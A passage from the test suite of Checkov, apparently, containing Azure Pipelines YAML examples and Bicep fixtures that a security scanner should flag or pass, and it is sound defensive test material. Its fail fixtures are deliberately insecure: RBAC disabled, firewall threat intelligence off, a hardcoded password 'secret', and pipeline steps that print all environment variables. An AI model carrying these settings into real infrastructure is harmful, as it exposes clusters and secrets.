'FailNoTagDisplayName',\n                            'pool': {\n                                'vmImage': 'ubuntu-18.04',\n                                '__startline__': 16,\n                                '__endline__': 18\n                            },\n                            'container': 'ubuntu',\n                            'steps': [\n                                {\n                                    'script': 'printenv',\n                                    '__startline__': 21,\n                                    '__endline__': 22\n                                }\n                            ],\n                            '__startline__': 14,\n                            '__endline__': 22\n                        },\n                        {\n                            'job': 'PassDigest',\n                            'pool': {\n                                'vmImage': 'ubuntu-18.04',\n                                '__startline__': 24,\n                                '__endline__': 26\n                            },\n                            'container': 'ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db',\n                            'steps': [\n                                {\n                                    'script': 'printenv',\n                                    '__startline__': 29,\n                                    '__endline__': 31\n                                }\n                            ],\n                            '__startline__': 22,\n                            '__endline__': 31\n                        }\n                    ],\n                    '__startline__': 12,\n                    '__endline__': 31\n                }\n            ],\n            'jobs': [\n                {\n                    'job': 'FailTag',\n                    'pool': {\n                        'vmImage': 'ubuntu-18.04',\n                        '__startline__': 34,\n                        '__endline__': 36\n                    },\n                    'container': 'ubuntu:20.04',\n                    'steps': [\n                        {\n                            'script': 'printenv',\n                            '__startline__': 39,\n                            '__endline__': 39\n                        }\n                    ],\n                    '__startline__': 32,\n                    '__endline__': 39\n                }\n            ],\n            '__startline__': 1,\n            '__endline__': 39\n        }\n    }\n"
  },
  {
    "path": "tests/azure_pipelines/examples/azure-pipelines.yml",
    "content": "trigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\njobs:\n- job: PassTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:20.04\n\n  steps:\n    - script: printenv\n"
  },
  {
    "path": "tests/azure_pipelines/resources/azure-pipelines.yaml",
    "content": "trigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\nstages:\n- stage: Example\n  jobs:\n  - job: FailNoTag\n    displayName: FailNoTagDisplayName\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu\n\n    steps:\n      - script: printenv\n        name: runPrintenv\n  - job: PassDigest\n    pool:\n      vmImage: 'ubuntu-18.04'\n\n    container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db\n\n    steps:\n      - script: printenv\n\njobs:\n- job: FailTag\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu:20.04\n\n  steps:\n    - script: printenv"
  },
  {
    "path": "tests/azure_pipelines/test_resource_names.py",
    "content": "import pytest\n\nfrom checkov.azure_pipelines.runner import Runner\n\n@pytest.mark.parametrize(\n    \"key,file_path,expected_key, start_line, end_line\",\n    [\n        ('jobs.jobs.CKV_AZUREPIPELINES_1[32:39]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml',\n         'jobs[0](FailTag)', 32, 39),\n        ('stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_1[14:22]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml',\n         'stages[0](Example).jobs[0](FailNoTagDisplayName)', 14, 22),\n        ('stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_1[22:29]', '/checkov/tests/azure_pipelines/resources/azure-pipelines.yml',\n         'stages[0](Example).jobs[1](PassDigest)', 22, 29)\n    ],\n)\ndef test_get_resource(key, file_path, expected_key, definitions, supported_entities, start_line, end_line):\n    runner = Runner()\n    runner.definitions = definitions\n    new_key = runner.get_resource(file_path, key, [], start_line, end_line)\n\n    assert new_key == expected_key"
  },
  {
    "path": "tests/azure_pipelines/test_runner.py",
    "content": "from pathlib import Path\n\nfrom checkov.azure_pipelines.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.azure_pipelines.checks.registry import registry\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_registry_has_type():\n    assert registry.report_type == CheckType.AZURE_PIPELINES\n\n\ndef test_runner_honors_enforcement_rules():\n    # given\n    test_file = EXAMPLES_DIR / \"azure-pipelines.yml\"\n\n    # when\n    filter = RunnerFilter(framework=[\"azure_pipelines\"], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {CheckType.AZURE_PIPELINES: Severities[BcSeverities.OFF]}\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_runner_passing_check():\n    # given\n    test_file = EXAMPLES_DIR / \"azure-pipelines.yml\"\n\n    # when\n    report = Runner().run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZUREPIPELINES_1\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_runner_failing_check():\n    # given\n    test_file = EXAMPLES_DIR / \"azure-pipelines.yml\"\n\n    # when\n    report = Runner().run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZUREPIPELINES_2\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/bicep/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/param/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/param/azure/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/param/azure/example_SecureStringParameterNoHardcodedValue/main.bicep",
    "content": "// pass\n\n@description('password')\n@secure()\nparam password string\n\n// fail\n\n@description('default password')\n@secure()\nparam defaultPassword string = 'secret'\n\n// unknown\n\n@description('username')\nparam username string\n"
  },
  {
    "path": "tests/bicep/checks/param/azure/test_SecureStringParameterNoHardcodedValue.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.bicep.checks.param.azure.SecureStringParameterNoHardcodedValue import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_SecureStringParameterNoHardcodedValue\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"string.password\",\n    }\n\n    failing_resources = {\n        \"string.defaultPassword\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n    assert summary[\"resource_count\"] == 3  # 1 unknown\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n\n    secret = report.failed_checks[0].code_block[2][1].split('=')[1]\n    assert '*' in secret\n"
  },
  {
    "path": "tests/bicep/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/resource/azure/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AKSApiServerAuthorizedIpRanges/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\n// fail\n\nresource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      disableRunCommand: true\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AKSDashboardDisabled/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\n// fail\n\nresource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n    }\n    apiServerAccessProfile: {\n      disableRunCommand: true\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AKSLoggingEnabled/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\nresource enabledCamelCase 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsAgent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\n// fail\n\nresource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      disableRunCommand: true\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AKSNetworkPolicy/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\n// fail\n\nresource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      disableRunCommand: true\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AKSRbacEnabled/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: true\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\n// fail\n\nresource disabled 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    enableRBAC: false\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n\nresource default 'Microsoft.ContainerService/managedClusters@2022-08-03-preview' = {\n  name: 'string'\n  location: resourceGroup().location\n  identity: {\n    type: 'SystemAssigned'\n  }\n  properties: {\n    agentPoolProfiles: [\n      {\n        name: 'agentpool'\n        osDiskSizeGB: osDiskSizeGB\n        osSKU: 'Ubuntu'\n        osType: 'Linux'\n      }\n    ]\n    addonProfiles: {\n      omsagent: {\n        config: {\n          logAnalyticsWorkspaceResourceID: logAnalyticsWorkspace.id\n        }\n        enabled: true\n      }\n      kubeDashboard: {\n        enabled: false\n      }\n    }\n    apiServerAccessProfile: {\n      authorizedIPRanges: [\n        '10.0.0.0/8'\n      ]\n    }\n    networkProfile: {\n      networkPlugin: 'azure'\n      networkPolicy: 'azure'\n    }\n    linuxProfile: {\n      adminUsername: linuxAdminUsername\n      ssh: {\n        publicKeys: [\n          {\n            keyData: sshRSAPublicKey\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail.bicep",
    "content": "param azureFirewalls_fail_name string\nparam publicIPAddresses_testpip_name string\nparam virtualNetworks_testvnet_name string\n\nresource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = {\n  location: 'westeurope'\n  name: publicIPAddresses_testpip_name\n  properties: {\n    ddosSettings: {\n      protectionMode: 'VirtualNetworkInherited'\n    }\n    idleTimeoutInMinutes: 4\n    ipAddress: '20.234.231.26'\n    ipTags: []\n    publicIPAddressVersion: 'IPv4'\n    publicIPAllocationMethod: 'Static'\n  }\n  sku: {\n    name: 'Standard'\n    tier: 'Regional'\n  }\n}\n\nresource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = {\n  location: 'westeurope'\n  name: virtualNetworks_testvnet_name\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    dhcpOptions: {\n      dnsServers: []\n    }\n    enableDdosProtection: false\n    subnets: [\n      {\n        id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n        name: 'AzureFirewallSubnet'\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          delegations: []\n          privateEndpointNetworkPolicies: 'Enabled'\n          privateLinkServiceNetworkPolicies: 'Enabled'\n          serviceEndpoints: []\n        }\n        type: 'Microsoft.Network/virtualNetworks/subnets'\n      }\n    ]\n    virtualNetworkPeerings: []\n  }\n}\n\nresource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = {\n  name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet'\n  properties: {\n    addressPrefix: '10.0.1.0/24'\n    delegations: []\n    privateEndpointNetworkPolicies: 'Enabled'\n    privateLinkServiceNetworkPolicies: 'Enabled'\n    serviceEndpoints: []\n  }\n  dependsOn: [\n    virtualNetworks_testvnet_name_resource\n  ]\n}\n\nresource fail 'Microsoft.Network/azureFirewalls@2022-09-01' = {\n  location: 'westeurope'\n  name: 'fail'\n  properties: {\n    additionalProperties: {}\n    applicationRuleCollections: []\n    ipConfigurations: [\n      {\n        id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_fail_name)}/azureFirewallIpConfigurations/configuration'\n        name: 'configuration'\n        properties: {\n          publicIPAddress: {\n            id: publicIPAddresses_testpip_name_resource.id\n          }\n          subnet: {\n            id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n          }\n        }\n      }\n    ]\n    natRuleCollections: []\n    networkRuleCollections: []\n    sku: {\n      name: 'AZFW_VNet'\n      tier: 'Standard'\n    }\n    threatIntelMode: 'Alert'\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail2.bicep",
    "content": "param azureFirewalls_fail_name string\nparam publicIPAddresses_testpip_name string\nparam virtualNetworks_testvnet_name string\n\nresource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = {\n  location: 'westeurope'\n  name: publicIPAddresses_testpip_name\n  properties: {\n    ddosSettings: {\n      protectionMode: 'VirtualNetworkInherited'\n    }\n    idleTimeoutInMinutes: 4\n    ipAddress: '20.234.231.26'\n    ipTags: []\n    publicIPAddressVersion: 'IPv4'\n    publicIPAllocationMethod: 'Static'\n  }\n  sku: {\n    name: 'Standard'\n    tier: 'Regional'\n  }\n}\n\nresource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = {\n  location: 'westeurope'\n  name: virtualNetworks_testvnet_name\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    dhcpOptions: {\n      dnsServers: []\n    }\n    enableDdosProtection: false\n    subnets: [\n      {\n        id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n        name: 'AzureFirewallSubnet'\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          delegations: []\n          privateEndpointNetworkPolicies: 'Enabled'\n          privateLinkServiceNetworkPolicies: 'Enabled'\n          serviceEndpoints: []\n        }\n        type: 'Microsoft.Network/virtualNetworks/subnets'\n      }\n    ]\n    virtualNetworkPeerings: []\n  }\n}\n\nresource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = {\n  name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet'\n  properties: {\n    addressPrefix: '10.0.1.0/24'\n    delegations: []\n    privateEndpointNetworkPolicies: 'Enabled'\n    privateLinkServiceNetworkPolicies: 'Enabled'\n    serviceEndpoints: []\n  }\n  dependsOn: [\n    virtualNetworks_testvnet_name_resource\n  ]\n}\n\nresource fail2 'Microsoft.Network/azureFirewalls@2022-09-01' = {\n  location: 'westeurope'\n  name: 'fail2'\n  properties: {\n    additionalProperties: {}\n    applicationRuleCollections: []\n    ipConfigurations: [\n      {\n        id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_fail_name)}/azureFirewallIpConfigurations/configuration'\n        name: 'configuration'\n        properties: {\n          publicIPAddress: {\n            id: publicIPAddresses_testpip_name_resource.id\n          }\n          subnet: {\n            id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n          }\n        }\n      }\n    ]\n    natRuleCollections: []\n    networkRuleCollections: []\n    sku: {\n      name: 'AZFW_VNet'\n      tier: 'Standard'\n    }\n    threatIntelMode: 'Off'\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.pass.bicep",
    "content": "param azureFirewalls_pass_name string\nparam publicIPAddresses_testpip_name string\nparam virtualNetworks_testvnet_name string\n\nresource publicIPAddresses_testpip_name_resource 'Microsoft.Network/publicIPAddresses@2022-09-01' = {\n  location: 'westeurope'\n  name: publicIPAddresses_testpip_name\n  properties: {\n    ddosSettings: {\n      protectionMode: 'VirtualNetworkInherited'\n    }\n    idleTimeoutInMinutes: 4\n    ipAddress: '20.234.231.26'\n    ipTags: []\n    publicIPAddressVersion: 'IPv4'\n    publicIPAllocationMethod: 'Static'\n  }\n  sku: {\n    name: 'Standard'\n    tier: 'Regional'\n  }\n}\n\nresource virtualNetworks_testvnet_name_resource 'Microsoft.Network/virtualNetworks@2022-09-01' = {\n  location: 'westeurope'\n  name: virtualNetworks_testvnet_name\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    dhcpOptions: {\n      dnsServers: []\n    }\n    enableDdosProtection: false\n    subnets: [\n      {\n        id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n        name: 'AzureFirewallSubnet'\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          delegations: []\n          privateEndpointNetworkPolicies: 'Enabled'\n          privateLinkServiceNetworkPolicies: 'Enabled'\n          serviceEndpoints: []\n        }\n        type: 'Microsoft.Network/virtualNetworks/subnets'\n      }\n    ]\n    virtualNetworkPeerings: []\n  }\n}\n\nresource virtualNetworks_testvnet_name_AzureFirewallSubnet 'Microsoft.Network/virtualNetworks/subnets@2022-09-01' = {\n  name: '${virtualNetworks_testvnet_name}/AzureFirewallSubnet'\n  properties: {\n    addressPrefix: '10.0.1.0/24'\n    delegations: []\n    privateEndpointNetworkPolicies: 'Enabled'\n    privateLinkServiceNetworkPolicies: 'Enabled'\n    serviceEndpoints: []\n  }\n  dependsOn: [\n    virtualNetworks_testvnet_name_resource\n  ]\n}\n\nresource pass 'Microsoft.Network/azureFirewalls@2022-09-01' = {\n  location: 'westeurope'\n  name: 'pass'\n  properties: {\n    additionalProperties: {}\n    applicationRuleCollections: []\n    ipConfigurations: [\n      {\n        id: '${resourceId('Microsoft.Network/azureFirewalls', azureFirewalls_pass_name)}/azureFirewallIpConfigurations/configuration'\n        name: 'configuration'\n        properties: {\n          publicIPAddress: {\n            id: publicIPAddresses_testpip_name_resource.id\n          }\n          subnet: {\n            id: virtualNetworks_testvnet_name_AzureFirewallSubnet.id\n          }\n        }\n      }\n    ]\n    natRuleCollections: []\n    networkRuleCollections: []\n    sku: {\n      name: 'AZFW_VNet'\n      tier: 'Standard'\n    }\n    threatIntelMode: 'Deny'\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureFrontDoorEnablesWAF/fail.bicep",
    "content": "@description('The name of the frontdoor resource.')\nparam frontDoorName string\n\n@description('The hostname of the backend. Must be an IP address or FQDN.')\nparam backendAddress string\n\nvar frontEndEndpointName = 'frontEndEndpoint'\nvar loadBalancingSettingsName = 'loadBalancingSettings'\nvar healthProbeSettingsName = 'healthProbeSettings'\nvar routingRuleName = 'routingRule'\nvar backendPoolName = 'backendPool'\n\nresource fail 'Microsoft.Network/frontDoors@2020-05-01' = {\n  name: 'fail'\n  location: 'global'\n  properties: {\n    enabledState: 'Enabled'\n    frontendEndpoints: [\n      {\n        name: frontEndEndpointName\n        properties: {\n          hostName: '${frontDoorName}.azurefd.net'\n          sessionAffinityEnabledState: 'Disabled'\n        }\n      }\n    ]\n    loadBalancingSettings: [\n      {\n        name: loadBalancingSettingsName\n        properties: {\n          sampleSize: 4\n          successfulSamplesRequired: 2\n        }\n      }\n    ]\n    healthProbeSettings: [\n      {\n        name: healthProbeSettingsName\n        properties: {\n          path: '/'\n          protocol: 'Http'\n          intervalInSeconds: 120\n        }\n      }\n    ]\n    backendPools: [\n      {\n        name: backendPoolName\n        properties: {\n          backends: [\n            {\n              address: backendAddress\n              backendHostHeader: backendAddress\n              httpPort: 80\n              httpsPort: 443\n              weight: 50\n              priority: 1\n              enabledState: 'Enabled'\n            }\n          ]\n          loadBalancingSettings: {\n            id: resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', frontDoorName, loadBalancingSettingsName)\n          }\n          healthProbeSettings: {\n            id: resourceId('Microsoft.Network/frontDoors/healthProbeSettings', frontDoorName, healthProbeSettingsName)\n          }\n        }\n      }\n    ]\n    routingRules: [\n      {\n        name: routingRuleName\n        properties: {\n          